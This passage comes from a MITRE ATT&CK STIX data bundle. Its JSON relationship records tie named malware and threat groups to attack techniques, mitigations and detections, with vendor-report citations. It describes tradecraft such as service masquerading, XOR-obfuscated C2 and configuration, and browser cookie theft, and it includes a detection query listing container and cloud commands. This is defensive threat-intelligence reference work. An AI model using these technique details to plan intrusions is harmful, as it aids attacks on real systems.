July). OKRUM AND KETRICAN: AN OVERVIEW OF RECENT KE3CHANG GROUP ACTIVITY. Retrieved May 6, 2020."}],"modified":"2020-05-06T21:31:07.654Z","description":"[Okrum](https://attack.mitre.org/software/S0439) can establish persistence by adding a new service NtmsSvc with the display name Removable Storage to masquerade as a legitimate Removable Storage Manager.(Citation: ESET Okrum July 2019)","relationship_type":"uses","source_ref":"malware--4b6ec280-7bbb-48ff-ae59-b189520ebe83","target_ref":"attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--65f57f42-9784-4ca2-8192-bfa90ffc075f","type":"relationship","created":"2019-06-14T16:45:33.895Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Guarnieri, C., Schloesser M. (2013, June 7). KeyBoy, Targeted Attacks against Vietnam and India. Retrieved June 14, 2019.","url":"https://blog.rapid7.com/2013/06/07/keyboy-targeted-attacks-against-vietnam-and-india/","source_name":"Rapid7 KeyBoy Jun 2013"}],"modified":"2020-03-16T17:03:20.065Z","description":"[KeyBoy](https://attack.mitre.org/software/S0387) installs a keylogger for intercepting credentials and keystrokes.(Citation: Rapid7 KeyBoy Jun 2013)","relationship_type":"uses","source_ref":"malware--5dd649c0-bca4-488b-bd85-b180474ec62e","target_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--65f63217-5473-4093-afcc-070c5e757a29","created":"2023-04-10T16:44:30.622Z","revoked":false,"external_references":[{"source_name":"Bitdefender LuminousMoth July 2021","description":"Botezatu, B and etl. (2021, July 21). LuminousMoth - PlugX, File Exfiltration and Persistence Revisited. Retrieved October 20, 2022.","url":"https://www.bitdefender.com/blog/labs/luminousmoth-plugx-file-exfiltration-and-persistence-revisited"},{"source_name":"Kaspersky LuminousMoth July 2021","description":"Lechtik, M, and etl. (2021, July 14). LuminousMoth APT: Sweeping attacks for the chosen few. Retrieved October 20, 2022.","url":"https://securelist.com/apt-luminousmoth/103332/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-10T16:44:30.622Z","description":"[LuminousMoth](https://attack.mitre.org/groups/G1014) has collected files and data from compromised machines.(Citation: Kaspersky LuminousMoth July 2021)(Citation: Bitdefender LuminousMoth July 2021)","relationship_type":"uses","source_ref":"intrusion-set--b7f627e2-0817-4cd5-8d50-e75f8aa85cc6","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--65f7704a-358a-464d-b09b-fee5dd96adf3","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Magic Hound Feb 2017","description":"Lee, B. and Falcone, R. (2017, February 15). Magic Hound Campaign Attacks Saudi Targets. Retrieved December 27, 2017.","url":"https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/"}],"modified":"2019-09-09T19:21:42.536Z","description":"[Magic Hound](https://attack.mitre.org/groups/G0059) malware can take a screenshot and upload the file to its C2 server.(Citation: Unit 42 Magic Hound Feb 2017)","relationship_type":"uses","source_ref":"intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--65fa218e-b442-41ca-8fed-bccdb5523656","created":"2020-01-24T14:52:25.777Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Beechey 2010","description":"Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.","url":"http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"},{"source_name":"Corio 2008","description":"Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved September 12, 2024.","url":"https://learn.microsoft.com/en-us/previous-versions/technet-magazine/cc510322(v=msdn.10)"},{"source_name":"Microsoft Windows Defender Application Control","description":"Gorzelany, A., Hall, J., Poggemeyer, L.. (2019, January 7). Windows Defender Application Control. Retrieved July 16, 2019.","url":"https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/windows-defender-application-control"},{"source_name":"TechNet Applocker vs SRP","description":"Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.","url":"https://technet.microsoft.com/en-us/library/ee791851.aspx"},{"source_name":"NSA MS AppLocker","description":"NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.","url":"https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm"},{"source_name":"Windows Commands JPCERT","description":"Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.","url":"https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T15:25:06.871Z","description":"Adversaries can install new AppInit DLLs binaries to execute this technique. Identify and block potentially malicious software executed through AppInit DLLs functionality by using application control (Citation: Beechey 2010) tools, like Windows Defender Application Control(Citation: Microsoft Windows Defender Application Control), AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)","relationship_type":"mitigates","source_ref":"course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db","target_ref":"attack-pattern--cc89ecbd-3d33-4a41-bcca-001e702d18fd","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--65fd090e-9c3f-4f6c-ae7c-b218811a475f","type":"relationship","created":"2022-03-30T14:26:51.841Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.841Z","description":"Monitor for networks that solicits and obtains the configuration information of the queried device. ","source_ref":"x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c","target_ref":"attack-pattern--ac9e6b22-11bf-45d7-9181-c1cb08360931","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--65fdde6f-f10a-4c9d-933a-384319194c8c","created":"2022-03-30T14:26:51.855Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-10T18:45:10.998Z","description":"Monitor for suspicious commands related to image or container manipulation, especially commands run from users not typically associated with these tasks.\n\nAnalytic 1 - Unexpected command execution related to image files.\n\nsourcetype=command_execution\n| search command IN (\"docker pull\", \"docker run\", \"docker exec\", \"kubectl run\", \"gcloud container images list-tags\", \"aws ec2 run-instances\")","relationship_type":"detects","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--b0c74ef9-c61e-4986-88cb-78da98a355ec","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6600e60d-666f-4d7a-8e30-d4361f892a9f","created":"2024-05-20T23:49:16.239Z","revoked":false,"external_references":[{"source_name":"Symantec Tortoiseshell 2019","description":"Symantec Threat Hunter Team. (2019, September 18). Tortoiseshell Group Targets IT Providers in Saudi Arabia in Probable Supply Chain Attacks. Retrieved May 20, 2024.","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/tortoiseshell-apt-supply-chain"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-20T23:49:16.239Z","description":"[CURIUM](https://attack.mitre.org/groups/G1012) deploys information gathering tools focused on capturing IP configuration, running application, system information, and network connectivity information.(Citation: Symantec Tortoiseshell 2019)","relationship_type":"uses","source_ref":"intrusion-set--3ea7add5-5b8f-45d8-b1f1-905d2729d62a","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--66044dfc-ab9a-4de4-a20b-cfed6d3f6236","type":"relationship","created":"2020-12-29T21:32:28.163Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"NHS Digital Egregor Nov 2020","url":"https://digital.nhs.uk/cyber-alerts/2020/cc-3681#summary","description":"NHS Digital. (2020, November 26). Egregor Ransomware The RaaS successor to Maze. Retrieved December 29, 2020."},{"source_name":"Cybereason Egregor Nov 2020","url":"https://www.cybereason.com/blog/cybereason-vs-egregor-ransomware","description":"Rochberger, L. (2020, November 26). Cybereason vs. Egregor Ransomware. Retrieved December 30, 2020."}],"modified":"2020-12-30T16:39:34.556Z","description":"[Egregor](https://attack.mitre.org/software/S0554) has been decrypted before execution.(Citation: NHS Digital Egregor Nov 2020)(Citation: Cybereason Egregor Nov 2020) ","relationship_type":"uses","source_ref":"malware--cc4c1287-9c86-4447-810c-744f3880ec37","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6607178e-a8b4-4da9-b985-3712eb71a303","created":"2020-03-25T18:30:50.106Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"RedLock Instance Metadata API 2018","description":"Higashi, Michael. (2018, May 15). Instance Metadata API: A Modern Day Trojan Horse. Retrieved July 16, 2019.","url":"https://redlock.io/blog/instance-metadata-api-a-modern-day-trojan-horse"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-08T20:16:02.375Z","description":"Limit access to the Instance Metadata API. A properly configured Web Application Firewall (WAF) may help prevent external adversaries from exploiting Server-side Request Forgery (SSRF) attacks that allow access to the Cloud Instance Metadata API.(Citation: RedLock Instance Metadata API 2018)","relationship_type":"mitigates","source_ref":"course-of-action--20f6a9df-37c4-4e20-9e47-025983b1b39d","target_ref":"attack-pattern--435dfb86-2697-4867-85b5-2fef496c0517","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6608d133-27ba-4bd9-bcd4-5becca5a8018","created":"2024-06-18T20:08:08.489Z","revoked":false,"external_references":[{"source_name":"Google TAG COLDRIVER January 2024","description":"Shields, W. (2024, January 18). Russian threat group COLDRIVER expands its targeting of Western officials to include the use of malware. Retrieved June 13, 2024.","url":"https://blog.google/threat-analysis-group/google-tag-coldriver-russian-phishing-malware/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-06-18T20:08:08.489Z","description":"[Spica](https://attack.mitre.org/software/S1140) has the ability to steal cookies from Chrome, Firefox, Opera, and Edge browsers.(Citation: Google TAG COLDRIVER January 2024)","relationship_type":"uses","source_ref":"malware--824a230d-0f6a-4fd0-99df-8d464db2265e","target_ref":"attack-pattern--10ffac09-e42d-4f56-ab20-db94c67d76ff","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--660d09ce-8722-42b3-8503-911dff37bf22","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Dell TG-3390","description":"Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.","url":"https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage"}],"modified":"2020-01-09T17:00:26.490Z","description":"[ASPXSpy](https://attack.mitre.org/software/S0073) is a Web shell. The ASPXTool version used by [Threat Group-3390](https://attack.mitre.org/groups/G0027) has been deployed to accessible servers running Internet Information Services (IIS).(Citation: Dell TG-3390)","relationship_type":"uses","source_ref":"malware--56f46b17-8cfa-46c0-b501-dd52fef394e2","target_ref":"attack-pattern--5d0d3609-d06d-49e1-b9c9-b544e0c618cb","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6610332d-86a5-46dc-a0a1-31c2fe31f164","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"PWC Cloud Hopper Technical Annex April 2017","description":"PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.","url":"https://www.pwc.co.uk/cyber-security/pdf/pwc-uk-operation-cloud-hopper-technical-annex-april-2017.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-11T00:18:11.799Z","description":"A [RedLeaves](https://attack.mitre.org/software/S0153) configuration file is encrypted with a simple XOR key, 0x53.(Citation: PWC Cloud Hopper Technical Annex April 2017)","relationship_type":"uses","source_ref":"malware--17b40f60-729f-4fe8-8aea-cc9ee44a95d5","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6610cf22-0a8c-4c30-bc6f-817b8cf29e61","type":"relationship","created":"2022-03-25T15:28:15.227Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"NTT Security Flagpro new December 2021","url":"https://insight-jp.nttsecurity.com/post/102hf3q/flagpro-the-new-malware-used-by-blacktech","description":"Hada, H. (2021, December 28). Flagpro The new malware used by BlackTech. Retrieved March 25, 2022."}],"modified":"2022-03-25T15:28:15.227Z","description":"[Flagpro](https://attack.mitre.org/software/S0696) has been delivered within ZIP or RAR password-protected archived files.(Citation: NTT Security Flagpro new December 2021)","relationship_type":"uses","source_ref":"malware--592260fb-dd5c-4a30-8d99-106a0485be0d","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6613ed52-5c6c-43f2-bd0c-9809769cb022","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CrowdStrike Putter Panda","description":"Crowdstrike Global Intelligence Team. (2014, June 9). CrowdStrike Intelligence Report: Putter Panda. Retrieved January 22, 2016.","url":"http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf"}],"modified":"2020-03-17T00:00:03.451Z","description":"[4H RAT](https://attack.mitre.org/software/S0065) obfuscates C2 communication using a 1-byte XOR with the key 0xBE.(Citation: CrowdStrike Putter Panda)","relationship_type":"uses","source_ref":"malware--8e461ca3-0996-4e6e-a0df-e2a5bbc51ebc","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--66200ea6-03b8-4c4f-a1d4-9041ddc70d8a","type":"relationship","created":"2021-01-05T15:10:47.212Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Check Point Pay2Key November 2020","url":"https://research.checkpoint.com/2020/ransomware-alert-pay2key/","description":"Check Point. (2020, November 6). Ransomware Alert: Pay2Key. Retrieved January 4, 2021."}],"modified":"2021-01-05T15:10:47.212Z","description":"[Pay2Key](https://attack.mitre.org/software/S0556) has sent its public key to the C2 server over TCP.(Citation: Check Point Pay2Key November 2020)","relationship_type":"uses","source_ref":"malware--77ca1aa3-280c-4b67-abaa-e8fb891a8f83","target_ref":"attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6624d48a-3e16-4ab7-8d13-ff40252ebde9","type":"relationship","created":"2022-03-30T14:26:51.851Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.851Z","description":"Monitor for a file that may delete or alter generated artifacts on a host system, including logs or captured files such as quarantined malware.","source_ref":"x-mitre-data-component--e905dad2-00d6-477c-97e8-800427abd0e8","target_ref":"attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--662dd798-61ce-4463-8567-9acdecade943","created":"2023-03-06T23:40:15.682Z","revoked":false,"external_references":[{"source_name":"Secureworks DarkTortilla Aug 2022","description":"Secureworks Counter Threat Unit Research Team. (2022, August 17). DarkTortilla Malware Analysis. Retrieved November 3, 2022.","url":"https://www.secureworks.com/research/darktortilla-malware-analysis"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-06T23:40:15.682Z","description":"[DarkTortilla](https://attack.mitre.org/software/S1066) has used `%HiddenReg%` and `%HiddenKey%` as part of its persistence via the Windows registry.(Citation: Secureworks DarkTortilla Aug 2022)","relationship_type":"uses","source_ref":"malware--5faaf81a-aa5b-4a4b-bae5-522439e068f8","target_ref":"attack-pattern--22905430-4901-4c2a-84f6-98243cb173f8","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--662e03e7-a7bb-4c5b-ada4-e00275885fbb","created":"2022-12-19T18:28:16.881Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant APT41","description":"Rufus Brown, Van Ta, Douglas Bienstock, Geoff Ackerman, John Wolfram. (2022, March 8). Does This Look Infected? A Summary of APT41 Targeting U.S. State Governments. Retrieved July 8, 2022.","url":"https://www.mandiant.com/resources/apt41-us-state-governments"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-01-25T21:07:25.404Z","description":"During [C0017](https://attack.mitre.org/campaigns/C0017), [APT41](https://attack.mitre.org/groups/G0096) broke malicious binaries, including [DEADEYE](https://attack.mitre.org/software/S1052) and [KEYPLUG](https://attack.mitre.org/software/S1051), into multiple sections on disk to evade detection.(Citation: Mandiant APT41)","relationship_type":"uses","source_ref":"campaign--ba6dfa37-f401-4140-88b0-8938f2895e61","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--662f14ec-90c6-48f7-98c6-ba028ca38621","type":"relationship","created":"2021-06-21T17:02:17.965Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"McAfee Cuba April 2021","url":"https://www.mcafee.com/enterprise/en-us/assets/reports/rp-cuba-ransomware.pdf","description":"Roccio, T., et al. (2021, April). Technical Analysis of Cuba Ransomware. Retrieved June 18, 2021."}],"modified":"2021-08-31T21:30:39.368Z","description":"[Cuba](https://attack.mitre.org/software/S0625) has used multiple layers of obfuscation to avoid analysis, including its Base64 encoded payload.(Citation: McAfee Cuba April 2021) ","relationship_type":"uses","source_ref":"malware--6cd07296-14aa-403d-9229-6343d03d4752","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--662fc68e-d956-4ee5-8adc-e0cc37470f8f","created":"2024-09-16T08:31:20.458Z","revoked":false,"external_references":[{"source_name":"Google Cloud APT41 2024","description":"Mike Stokkel et al. (2024, July 18). APT41 Has Arisen From the DUST. Retrieved September 16, 2024.","url":"https://cloud.google.com/blog/topics/threat-intelligence/apt41-arisen-from-dust"},{"source_name":"Google Cloud APT41 2022","description":"Rufus Brown, Van Ta, Douglas Bienstock, Geoff Ackerman & John Wolfram. (2022, March 8). Does This Look Infected? A Summary of APT41 Targeting U.S. State Governments. Retrieved September 16, 2024.","url":"https://cloud.google.com/blog/topics/threat-intelligence/apt41-us-state-governments"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-16T08:31:20.458Z","description":"[DUSTPAN](https://attack.mitre.org/software/S1158) has been used by [APT41](https://attack.mitre.org/groups/G0096) in various campaigns since at least 2021.(Citation: Google Cloud APT41 2022)(Citation: Google Cloud APT41 2024)","relationship_type":"uses","source_ref":"intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7","target_ref":"malware--37487ff6-de2a-4c14-9e8b-ba3b97f78aaf","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6633ef0a-40ae-46f4-aff9-762fb4c0ab29","created":"2024-06-11T17:39:14.978Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"SentinelOne INC Ransomware","description":"SentinelOne. (n.d.). What Is Inc. Ransomware?. Retrieved June 5, 2024.","url":"https://www.sentinelone.com/anthology/inc-ransom/"},{"source_name":"SOCRadar INC Ransom January 2024","description":"SOCRadar. (2024, January 24). Dark Web Profile: INC Ransom. Retrieved June 5, 2024.","url":"https://socradar.io/dark-web-profile-inc-ransom/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-06-11T19:07:40.150Z","description":"[INC Ransom](https://attack.mitre.org/groups/G1032) has used NETSCAN.EXE for internal reconnaissance.(Citation: SOCRadar INC Ransom January 2024)(Citation: SentinelOne INC Ransomware)","relationship_type":"uses","source_ref":"intrusion-set--cb41e991-65f4-4668-a65f-f4200545b5a1","target_ref":"attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6635f23e-99e9-4978-9924-ccf6c199f84f","type":"relationship","created":"2019-09-24T13:29:29.675Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos ZxShell Oct 2014","url":"https://blogs.cisco.com/security/talos/opening-zxshell","description":"Allievi, A., et al. (2014, October 28). Threat Spotlight: Group 72, Opening the ZxShell. Retrieved September 24, 2019."}],"modified":"2022-01-05T16:34:01.659Z","description":"[ZxShell](https://attack.mitre.org/software/S0412) can collect the owner and organization information from the target workstation.(Citation: Talos ZxShell Oct 2014) ","relationship_type":"uses","source_ref":"malware--cfc75b0d-e579-40ae-ad07-a1ce00d49a6c","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--663d6fdf-6c99-4ef6-9a4e-bbc8bbe8591f","type":"relationship","created":"2019-04-25T21:34:56.303Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ClearSky MuddyWater Nov 2018","url":"https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf","description":"ClearSky Cyber Security. (2018, November). MuddyWater Operations in Lebanon and Oman: Using an Israeli compromised domain for a two-stage campaign. Retrieved November 29, 2018."}],"modified":"2019-06-28T15:30:59.018Z","description":"[MuddyWater](https://attack.mitre.org/groups/G0069) has used the .NET csc.exe tool to compile executables from downloaded C# code.(Citation: ClearSky MuddyWater Nov 2018)","relationship_type":"uses","source_ref":"intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2","target_ref":"attack-pattern--c726e0a2-a57a-4b7b-a973-d0f013246617","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--664006e4-dd30-4023-b3a3-659eb6adcd02","type":"relationship","created":"2022-03-30T14:26:51.846Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.846Z","description":"Detection is challenging because all messages forwarded because of an auto-forwarding rule have the same presentation as a manually forwarded message. It is also possible for the user to not be aware of the addition of such an auto-forwarding rule and not suspect that their account has been compromised; email-forwarding rules alone will not affect the normal usage patterns or operations of the email account. Auto-forwarded messages generally contain specific detectable artifacts that may be present in the header; such artifacts would be platform-specific. Examples include X-MS-Exchange-Organization-AutoForwarded set to true, X-MailFwdBy and X-Forwarded-To. The forwardingSMTPAddress parameter used in a forwarding process that is managed by administrators and not by user actions. All messages for the mailbox are forwarded to the specified SMTP address. However, unlike typical client-side rules, the message does not appear as forwarded in the mailbox; it appears as if it were sent directly to the specified destination mailbox.(Citation: Microsoft Tim McMichael Exchange Mail Forwarding 2) High volumes of emails that bear the X-MS-Exchange-Organization-AutoForwarded header (indicating auto-forwarding) without a corresponding number of emails that match the appearance of a forwarded message may indicate that further investigation is needed at the administrator level rather than user-level.","source_ref":"x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa","target_ref":"attack-pattern--1608f3e1-598a-42f4-a01a-2e252e81728f","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--66440b92-cfed-441c-85fd-1d103684a187","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Github Koadic","description":"Magius, J., et al. (2017, July 19). Koadic. Retrieved September 27, 